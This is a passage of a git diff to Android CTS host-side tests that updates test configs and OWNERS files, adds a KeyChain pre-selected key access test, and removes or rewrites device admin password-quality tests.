MAIN_TEST_APP_PKG, DEVICE_MAIN_TEST_CLASS_NAME, deviceTestName);
- // Check that shared prefs are only restored (and restored correctly) for the first 2
- // packages.
- checkRestoreSessionDeviceTest(1, "testCheckSharedPrefsExist");
- checkRestoreSessionDeviceTest(2, "testCheckSharedPrefsExist");
- checkRestoreSessionDeviceTest(3, "testCheckSharedPrefsDontExist");
+ // Check that shared prefs are only restored (and restored correctly) for the packages
+ // that need to be restored.
+ for (int i = 1; i <= TEST_APPS_COUNT; i++) {
+ if (i <= numPackagesToRestore) {
+ checkRestoreSessionDeviceTest(i, "testCheckSharedPrefsExist");
+ } else {
+ checkRestoreSessionDeviceTest(i, "testCheckSharedPrefsDontExist");
+ }
+ }
uninstallPackage(getPackageNameForTestApp(1));
uninstallPackage(getPackageNameForTestApp(2));
diff --git a/hostsidetests/bootstats/AndroidTest.xml b/hostsidetests/bootstats/AndroidTest.xml
index a22479d..e5d78ee 100644
--- a/hostsidetests/bootstats/AndroidTest.xml
+++ b/hostsidetests/bootstats/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="sysui" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsBootStatsTestCases.jar" />
<option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/bootstats/OWNERS b/hostsidetests/bootstats/OWNERS
new file mode 100644
index 0000000..1f99e96
--- /dev/null
+++ b/hostsidetests/bootstats/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 183496
+keunyoung@google.com
diff --git a/hostsidetests/checkpoint/Android.mk b/hostsidetests/checkpoint/Android.mk
index 7f044b0..fc66d79 100644
--- a/hostsidetests/checkpoint/Android.mk
+++ b/hostsidetests/checkpoint/Android.mk
@@ -25,9 +25,7 @@
LOCAL_CTS_TEST_PACKAGE := android.checkpoint
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests gts
-
-LOCAL_MIN_SDK_VERSION := 4
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/checkpoint/AndroidTest.xml b/hostsidetests/checkpoint/AndroidTest.xml
index 1b8aba3..54aeaa8 100644
--- a/hostsidetests/checkpoint/AndroidTest.xml
+++ b/hostsidetests/checkpoint/AndroidTest.xml
@@ -15,7 +15,6 @@
-->
<configuration description="Config for the CTS Checkpoint host tests">
<option name="test-suite-tag" value="cts" />
- <option name="test-suite-tag" value="gts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
index d128c2d..677ccc3 100644
--- a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -17,7 +17,6 @@
package android.checkpoint.cts;
import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.CtsDownstreamingTest;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceTestCase;
import junit.framework.Assert;
@@ -29,7 +28,6 @@
public class CheckpointHostTest extends DeviceTestCase {
private static final String TAG = "CheckpointHostTest";
- @CtsDownstreamingTest
public void testLogEntries() throws Exception {
// This test is build also as a part of GTS, which runs also on older releases.
if (ApiLevelUtil.isBefore(getDevice(), "Q")) return;
diff --git a/hostsidetests/classloaders/OWNERS b/hostsidetests/classloaders/OWNERS
new file mode 100644
index 0000000..137abb9
--- /dev/null
+++ b/hostsidetests/classloaders/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 86431
+calin@google.com
+ngeoffray@google.com
+sehr@google.com
diff --git a/hostsidetests/classloaders/splits/AndroidTest.xml b/hostsidetests/classloaders/splits/AndroidTest.xml
index a3a8cbb..e7c881b 100644
--- a/hostsidetests/classloaders/splits/AndroidTest.xml
+++ b/hostsidetests/classloaders/splits/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsClassloaderSplitsHostTestCases.jar" />
<option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/compilation/OWNERS b/hostsidetests/compilation/OWNERS
new file mode 100644
index 0000000..f386ff2
--- /dev/null
+++ b/hostsidetests/compilation/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../classloaders/OWNERS
diff --git a/hostsidetests/compilation/app/Android.bp b/hostsidetests/compilation/app/Android.bp
index f4954c7..770baea 100644
--- a/hostsidetests/compilation/app/Android.bp
+++ b/hostsidetests/compilation/app/Android.bp
@@ -16,7 +16,7 @@
name: "CtsCompilationApp",
defaults: ["cts_support_defaults"],
srcs: ["src/**/*.java"],
- sdk_version: "current",
+ sdk_version: "29",
// tag this module as a cts test artifact
test_suites: [
"cts",
diff --git a/hostsidetests/content/AndroidTest.xml b/hostsidetests/content/AndroidTest.xml
index e13a5d9..136550e 100644
--- a/hostsidetests/content/AndroidTest.xml
+++ b/hostsidetests/content/AndroidTest.xml
@@ -19,6 +19,7 @@
<!-- This is a test for account data sync and READ_SYNC_SETTINGS/WRITE_SYNC_SETTINGS are required, which instant apps don't have -->
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSyncContentHostTestCases.jar" />
<option name="runtime-hint" value="2m" />
diff --git a/hostsidetests/devicepolicy/AndroidTest.xml b/hostsidetests/devicepolicy/AndroidTest.xml
index e3929cc..575dc04 100644
--- a/hostsidetests/devicepolicy/AndroidTest.xml
+++ b/hostsidetests/devicepolicy/AndroidTest.xml
@@ -21,6 +21,8 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<!-- Not testing features backed by native code, so only need to run against one ABI -->
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <!-- Device admin/owner requires being run in system user -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
<!-- Push the list of public APIs to device -->
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/hostsidetests/devicepolicy/OWNERS b/hostsidetests/devicepolicy/OWNERS
new file mode 100644
index 0000000..12341eb
--- /dev/null
+++ b/hostsidetests/devicepolicy/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 100560
+include /tests/admin/OWNERS
diff --git a/hostsidetests/devicepolicy/TEST_MAPPING b/hostsidetests/devicepolicy/TEST_MAPPING
new file mode 100644
index 0000000..3d86cf3
--- /dev/null
+++ b/hostsidetests/devicepolicy/TEST_MAPPING
@@ -0,0 +1,20 @@
+{
+ "presubmit-devicepolicy": [
+ {
+ "name": "CtsDevicePolicyManagerTestCases",
+ "options": [
+ {
+ "exclude-annotation": "android.platform.test.annotations.FlakyTest"
+ },
+ {
+ "exclude-annotation": "android.platform.test.annotations.LargeTest"
+ }
+ ]
+ }
+ ],
+ "postsubmit-devicepolicy": [
+ {
+ "name": "CtsDevicePolicyManagerTestCases"
+ }
+ ]
+}
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertSelectionDelegateTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertSelectionDelegateTest.java
index 609ea1f..f9313ee 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertSelectionDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertSelectionDelegateTest.java
@@ -18,6 +18,8 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assert.assertNull;
+
import android.app.Activity;
import android.app.admin.DelegatedAdminReceiver;
import android.app.admin.DevicePolicyManager;
@@ -114,6 +116,16 @@
}
}
+ // Tests that if the delegated app returns {@link
+ // android.security.KeyChain.KEY_ALIAS_SELECTION_DENIED}
+ // the caller of {@link android.app.admin.DelegatedAdminReceiver#onChoosePrivateKeyAlias}
+ // receives {@code null}.
+ public void testNotChosenAnyAlias() throws Exception {
+ assertThat(mDpm.getDelegatedScopes(null, mContext.getPackageName())).contains(
+ DevicePolicyManager.DELEGATION_CERT_SELECTION);
+ assertNull(new KeyChainAliasFuture(KeyChain.KEY_ALIAS_SELECTION_DENIED).get());
+ }
+
private class KeyChainAliasFuture implements KeyChainAliasCallback {
private final CountDownLatch mLatch = new CountDownLatch(1);
private String mChosenAlias = null;
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/PreSelectedKeyAccessTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/PreSelectedKeyAccessTest.java
new file mode 100644
index 0000000..605a0b4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/PreSelectedKeyAccessTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.certinstaller;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.security.KeyChain;
+import android.security.KeyChainException;
+import android.content.Context;
+import android.test.InstrumentationTestCase;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.cert.X509Certificate;
+
+public class PreSelectedKeyAccessTest extends InstrumentationTestCase {
+ private static final String PRE_SELECTED_ALIAS = "pre-selected-rsa";
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ }
+
+ // Test that this app can access pre-granted alias
+ public void testAccessingPreSelectedAliasExpectingSuccess() throws
+ KeyChainException, NoSuchAlgorithmException, InvalidKeyException, SignatureException,
+ InterruptedException {
+ PrivateKey privateKey = KeyChain.getPrivateKey(getContext(), PRE_SELECTED_ALIAS);
+ assertThat(privateKey).isNotNull();
+ String algoIdentifier = "SHA256withRSA";
+
+ byte[] data = new String("hello").getBytes();
+ Signature sign = Signature.getInstance(algoIdentifier);
+ sign.initSign(privateKey);
+ sign.update(data);
+ byte[] signature = sign.sign();
+
+ X509Certificate[] certs = KeyChain.getCertificateChain(getContext(), PRE_SELECTED_ALIAS);
+ assertThat(certs).isNotEmpty();
+
+ PublicKey publicKey = certs[0].getPublicKey();
+ Signature verify = Signature.getInstance(algoIdentifier);
+ verify.initVerify(publicKey);
+ verify.update(data);
+ assertThat(verify.verify(signature)).isTrue();
+ }
+
+ public void testAccessingPreSelectedAliasWithoutGrant() throws
+ KeyChainException, InterruptedException {
+ assertThat(KeyChain.getPrivateKey(getContext(), PRE_SELECTED_ALIAS)).isNull();
+ }
+
+ private Context getContext() {
+ return getInstrumentation().getContext();
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java
index 95972a2..05335a1 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/src/com/android/cts/comp/provisioning/UserRestrictionTest.java
@@ -24,23 +24,6 @@
import com.android.cts.comp.AdminReceiver;
public class UserRestrictionTest extends AndroidTestCase {
-
- public void testAddDisallowAddManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_ADD_MANAGED_PROFILE, true);
- }
-
- public void testClearDisallowAddManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_ADD_MANAGED_PROFILE, false);
- }
-
- public void testAddDisallowRemoveManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE, true);
- }
-
- public void testClearDisallowRemoveManagedProfileRestriction() {
- setUserRestriction(UserManager.DISALLOW_REMOVE_MANAGED_PROFILE, false);
- }
-
public void testAddDisallowRemoveUserRestriction() {
setUserRestriction(UserManager.DISALLOW_REMOVE_USER, true);
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
index 4c10faa..8ff6bf8 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
@@ -87,13 +87,4 @@
dpm.setPasswordMinimumSymbols(mAdminComponent, 0);
dpm.setPasswordMinimumNonLetter(mAdminComponent, 0);
}
-
- protected void clearPassword() {
- assertDeviceOwner();
-
- resetComplexPasswordRestrictions();
-
- dpm.setPasswordQuality(mAdminComponent, DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
- assertTrue(dpm.resetPassword("", /* flags =*/ 0));
- }
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/ClearPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/ClearPasswordTest.java
deleted file mode 100644
index b65fc1a..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/ClearPasswordTest.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceadmin;
-
-public class ClearPasswordTest extends BaseDeviceAdminTest {
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- assertDeviceOwner();
- }
-
- public void testClearPassword() {
- clearPassword();
- }
-}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminPasswordTest.java
index 1e9759c..0f4f22d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminPasswordTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminPasswordTest.java
@@ -15,8 +15,7 @@
*/
package com.android.cts.deviceadmin;
-import android.app.admin.DevicePolicyManager;
-import android.test.MoreAsserts;
+import android.os.Build;
/**
* Tests that:
@@ -35,88 +34,18 @@
assertNotDeviceOwner();
}
- private void checkSetPassword_nycRestrictions_success() {
- assertTrue(dpm.resetPassword("1234", /* flags= */ 0));
- }
-
- private void checkSetPassword_nycRestrictions_failure() {
- try {
- assertFalse(dpm.resetPassword("1234", /* flags= */ 0));
- if (shouldResetPasswordThrow()) {
- fail("Didn't throw");
- }
- } catch (SecurityException e) {
- if (!shouldResetPasswordThrow()) {
- fail("Shouldn't throw");
- }
- MoreAsserts.assertContainsRegex("Cannot change current password", e.getMessage());
+ public void testResetPasswordDeprecated() {
+ if (getTargetSdkLevel() < Build.VERSION_CODES.N) {
+ assertFalse(dpm.resetPassword("1234", 0));
+ } else {
+ try {
+ dpm.resetPassword("1234", 0);
+ fail("resetPassword() should throw SecurityException");
+ } catch (SecurityException e) { }
}
}
- private void checkClearPassword_nycRestrictions_failure() {
- try {
- assertFalse(dpm.resetPassword("", /* flags= */ 0));
- if (shouldResetPasswordThrow()) {
- fail("Didn't throw");
- }
- } catch (SecurityException e) {
- if (!shouldResetPasswordThrow()) {
- fail("Shouldn't throw");
- }
- MoreAsserts.assertContainsRegex("Cannot call with null password", e.getMessage());
- }
- }
-
- private boolean waitUntilPasswordState(boolean expected) throws InterruptedException {
- final int currentQuality = dpm.getPasswordQuality(mAdminComponent);
- dpm.setPasswordQuality(mAdminComponent, DevicePolicyManager.PASSWORD_QUALITY_SOMETHING);
-
- int numTries = 5;
- boolean result = dpm.isActivePasswordSufficient();
- while ((numTries > 0) && (result != expected)) {
- numTries = numTries - 1;
- Thread.sleep(100);
- result = dpm.isActivePasswordSufficient();
- }
-
- dpm.setPasswordQuality(mAdminComponent, currentQuality);
- return expected == result;
- }
-
- private void assertHasPassword() throws InterruptedException {
- assertTrue("No password set", waitUntilPasswordState(true));
- }
-
- private void assertNoPassword() throws InterruptedException {
- assertTrue("Password is set", waitUntilPasswordState(false));
- }
-
- /**
- * Tests for the new restrictions on {@link DevicePolicyManager#resetPassword} introduced
- * on NYC.
- */
- public void testResetPassword_nycRestrictions() throws Exception {
-
- assertNoPassword();
-
- // Can't clear the password, even if there's no password set currently.
- checkClearPassword_nycRestrictions_failure();
-
- assertNoPassword();
-
- // No password -> setting one is okay.
- checkSetPassword_nycRestrictions_success();
-
- assertHasPassword();
-
- // But once set, DA can't change the password.
- checkSetPassword_nycRestrictions_failure();
-
- assertHasPassword();
-
- // Still can't clear the password.
- checkClearPassword_nycRestrictions_failure();
-
- assertHasPassword();
+ private int getTargetSdkLevel() {
+ return mContext.getApplicationContext().getApplicationInfo().targetSdkVersion;
}
}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceOwnerPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceOwnerPasswordTest.java
deleted file mode 100644
index fe2621e..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceOwnerPasswordTest.java
+++ /dev/null
@@ -1,394 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceadmin;
-
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
-
-import android.app.admin.DevicePolicyManager;
-
-/**
- * Tests for {@link DevicePolicyManager#resetPassword} for complex cases.
- *
- * This needs to be run as device owner, because in NYC DA can't clear or change the password.
- * @deprecated New tests related to password quality and reset password API should be added to
- * {@code com.android.cts.deviceandprofileowner.ResetPasswordWithTokenTest}
- */
-public class DeviceOwnerPasswordTest extends BaseDeviceAdminTest {
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- assertDeviceOwner();
- clearPassword();
- }
-
- @Override
- protected void tearDown() throws Exception {
- clearPassword();
-
- super.tearDown();
- }
-
- public void testPasswordQuality_something() {
- dpm.setPasswordQuality(mAdminComponent,
- DevicePolicyManager.PASSWORD_QUALITY_SOMETHING);
- assertEquals(DevicePolicyManager.PASSWORD_QUALITY_SOMETHING,
- dpm.getPasswordQuality(mAdminComponent));
- assertPasswordSufficiency(false);
-
- String caseDescription = "initial";
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription); // can't change.
- assertPasswordSucceeds("abcd1234", caseDescription);
-
- dpm.setPasswordMinimumLength(mAdminComponent, 10);
- caseDescription = "minimum password length = 10";
- assertEquals(10, dpm.getPasswordMinimumLength(mAdminComponent));
- assertPasswordSufficiency(true); // length not checked for this quality
-
- // TODO(ascull): fix resetPassword() logic so these succeed
- assertPasswordFails("1234", caseDescription);
- assertPasswordFails("abcd", caseDescription);
- assertPasswordFails("abcd1234", caseDescription);
-
- dpm.setPasswordMinimumLength(mAdminComponent, 4);
- caseDescription = "minimum password length = 4";
- assertEquals(4, dpm.getPasswordMinimumLength(
- mAdminComponent));
- assertPasswordSufficiency(true);
-
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordSucceeds("abcd1234", caseDescription);
- }
-
- public void testPasswordQuality_numeric() {
- dpm.setPasswordQuality(mAdminComponent,
- DevicePolicyManager.PASSWORD_QUALITY_NUMERIC);
- assertEquals(DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
- dpm.getPasswordQuality(mAdminComponent));
- assertPasswordSufficiency(false); // failure
-
- String caseDescription = "initial";
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordSucceeds("abcd1234", caseDescription);
-
- dpm.setPasswordMinimumLength(mAdminComponent, 10);
- caseDescription = "minimum password length = 10";
- assertEquals(10, dpm.getPasswordMinimumLength(mAdminComponent));
- assertPasswordSufficiency(false);
-
- assertPasswordFails("1234", caseDescription);
- assertPasswordFails("abcd", caseDescription);
- assertPasswordFails("abcd1234", caseDescription);
-
- dpm.setPasswordMinimumLength(mAdminComponent, 4);
- caseDescription = "minimum password length = 4";
- assertEquals(4, dpm.getPasswordMinimumLength(
- mAdminComponent));
- assertPasswordSufficiency(true);
-
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordSucceeds("abcd1234", caseDescription);
- }
-
- public void testPasswordQuality_alphabetic() {
- dpm.setPasswordQuality(mAdminComponent,
- DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC);
- assertEquals(DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC,
- dpm.getPasswordQuality(mAdminComponent));
- assertPasswordSufficiency(false);
-
- String caseDescription = "initial";
- assertPasswordFails("1234", caseDescription); // can't change
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordSucceeds("abcd1234", caseDescription);
-
- dpm.setPasswordMinimumLength(mAdminComponent, 10);
- caseDescription = "minimum password length = 10";
- assertEquals(10, dpm.getPasswordMinimumLength(mAdminComponent));
- assertPasswordSufficiency(false);
-
- assertPasswordFails("1234", caseDescription);
- assertPasswordFails("abcd", caseDescription);
- assertPasswordFails("abcd1234", caseDescription);
-
- dpm.setPasswordMinimumLength(mAdminComponent, 4);
- caseDescription = "minimum password length = 4";
- assertEquals(4, dpm.getPasswordMinimumLength(
- mAdminComponent));
- assertPasswordSufficiency(true);
-
- assertPasswordFails("1234", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordSucceeds("abcd1234", caseDescription);
- }
-
- public void testPasswordQuality_alphanumeric() {
- dpm.setPasswordQuality(mAdminComponent,
- DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC);
- assertEquals(DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC,
- dpm.getPasswordQuality(mAdminComponent));
- assertPasswordSufficiency(false);
-
- String caseDescription = "initial";
- assertPasswordFails("1234", caseDescription);
- assertPasswordFails("abcd", caseDescription);
- assertPasswordSucceeds("abcd1234", caseDescription);
-
- dpm.setPasswordMinimumLength(mAdminComponent, 10);
- caseDescription = "minimum password length = 10";
- assertEquals(10, dpm.getPasswordMinimumLength(mAdminComponent));
- assertPasswordSufficiency(false);
-
- assertPasswordFails("1234", caseDescription);
- assertPasswordFails("abcd", caseDescription);
- assertPasswordFails("abcd1234", caseDescription);
-
- dpm.setPasswordMinimumLength(mAdminComponent, 4);
- caseDescription = "minimum password length = 4";
- assertEquals(4, dpm.getPasswordMinimumLength(
- mAdminComponent));
- assertPasswordSufficiency(true);
-
- assertPasswordFails("1234", caseDescription);
- assertPasswordFails("abcd", caseDescription);
- assertPasswordSucceeds("abcd1234", caseDescription);
- }
-
- public void testPasswordQuality_complexUpperCase() {
- dpm.setPasswordQuality(mAdminComponent, PASSWORD_QUALITY_COMPLEX);
- assertEquals(PASSWORD_QUALITY_COMPLEX, dpm.getPasswordQuality(mAdminComponent));
- resetComplexPasswordRestrictions();
-
- String caseDescription = "minimum UpperCase=0";
- assertPasswordSucceeds("abc1", caseDescription);
- assertPasswordSucceeds("aBc1", caseDescription);
- assertPasswordSucceeds("ABC1", caseDescription);
- assertPasswordSucceeds("ABCD", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumUpperCase(mAdminComponent, 1);
- assertEquals(1, dpm.getPasswordMinimumUpperCase(mAdminComponent));
- caseDescription = "minimum UpperCase=1";
- assertPasswordFails("abc1", caseDescription);
- assertPasswordSucceeds("aBc1", caseDescription);
- assertPasswordSucceeds("ABC1", caseDescription);
- assertPasswordSucceeds("ABCD", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumUpperCase(mAdminComponent, 3);
- assertEquals(3, dpm.getPasswordMinimumUpperCase(mAdminComponent));
- caseDescription = "minimum UpperCase=3";
- assertPasswordFails("abc1", caseDescription);
- assertPasswordFails("aBC1", caseDescription);
- assertPasswordSucceeds("ABC1", caseDescription);
- assertPasswordSucceeds("ABCD", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
- }
-
- public void testPasswordQuality_complexLowerCase() {
- dpm.setPasswordQuality(mAdminComponent, PASSWORD_QUALITY_COMPLEX);
- assertEquals(PASSWORD_QUALITY_COMPLEX, dpm.getPasswordQuality(mAdminComponent));
- resetComplexPasswordRestrictions();
-
- String caseDescription = "minimum LowerCase=0";
- assertPasswordSucceeds("ABCD", caseDescription);
- assertPasswordSucceeds("aBC1", caseDescription);
- assertPasswordSucceeds("abc1", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumLowerCase(mAdminComponent, 1);
- assertEquals(1, dpm.getPasswordMinimumLowerCase(mAdminComponent));
- caseDescription = "minimum LowerCase=1";
- assertPasswordFails("ABCD", caseDescription);
- assertPasswordSucceeds("aBC1", caseDescription);
- assertPasswordSucceeds("abc1", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumLowerCase(mAdminComponent, 3);
- assertEquals(3, dpm.getPasswordMinimumLowerCase(mAdminComponent));
- caseDescription = "minimum LowerCase=3";
- assertPasswordFails("ABCD", caseDescription);
- assertPasswordFails("aBC1", caseDescription);
- assertPasswordSucceeds("abc1", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
- }
-
- public void testPasswordQuality_complexLetters() {
- dpm.setPasswordQuality(mAdminComponent, PASSWORD_QUALITY_COMPLEX);
- assertEquals(PASSWORD_QUALITY_COMPLEX, dpm.getPasswordQuality(mAdminComponent));
- resetComplexPasswordRestrictions();
-
- String caseDescription = "minimum Letters=0";
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordSucceeds("a123", caseDescription);
- assertPasswordSucceeds("abc1", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumLetters(mAdminComponent, 1);
- assertEquals(1, dpm.getPasswordMinimumLetters(mAdminComponent));
- caseDescription = "minimum Letters=1";
- assertPasswordFails("1234", caseDescription);
- assertPasswordSucceeds("a123", caseDescription);
- assertPasswordSucceeds("abc1", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
- dpm.setPasswordMinimumLetters(mAdminComponent, 3);
- assertEquals(3, dpm.getPasswordMinimumLetters(mAdminComponent));
- caseDescription = "minimum Letters=3";
- assertPasswordFails("1234", caseDescription);
- assertPasswordFails("a123", caseDescription);
- assertPasswordSucceeds("abc1", caseDescription);
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
- }
-
- public void testPasswordQuality_complexNumeric() {
- dpm.setPasswordQuality(mAdminComponent, PASSWORD_QUALITY_COMPLEX);
- assertEquals(PASSWORD_QUALITY_COMPLEX, dpm.getPasswordQuality(mAdminComponent));
- resetComplexPasswordRestrictions();
-
- String caseDescription = "minimum Numeric=0";
- assertPasswordSucceeds("abcd", caseDescription);
- assertPasswordSucceeds("1abc", caseDescription);
- assertPasswordSucceeds("123a", caseDescription);
- assertPasswordSucceeds("1234", caseDescription);
- assertPasswordFails("123", caseDescription); // too short
-
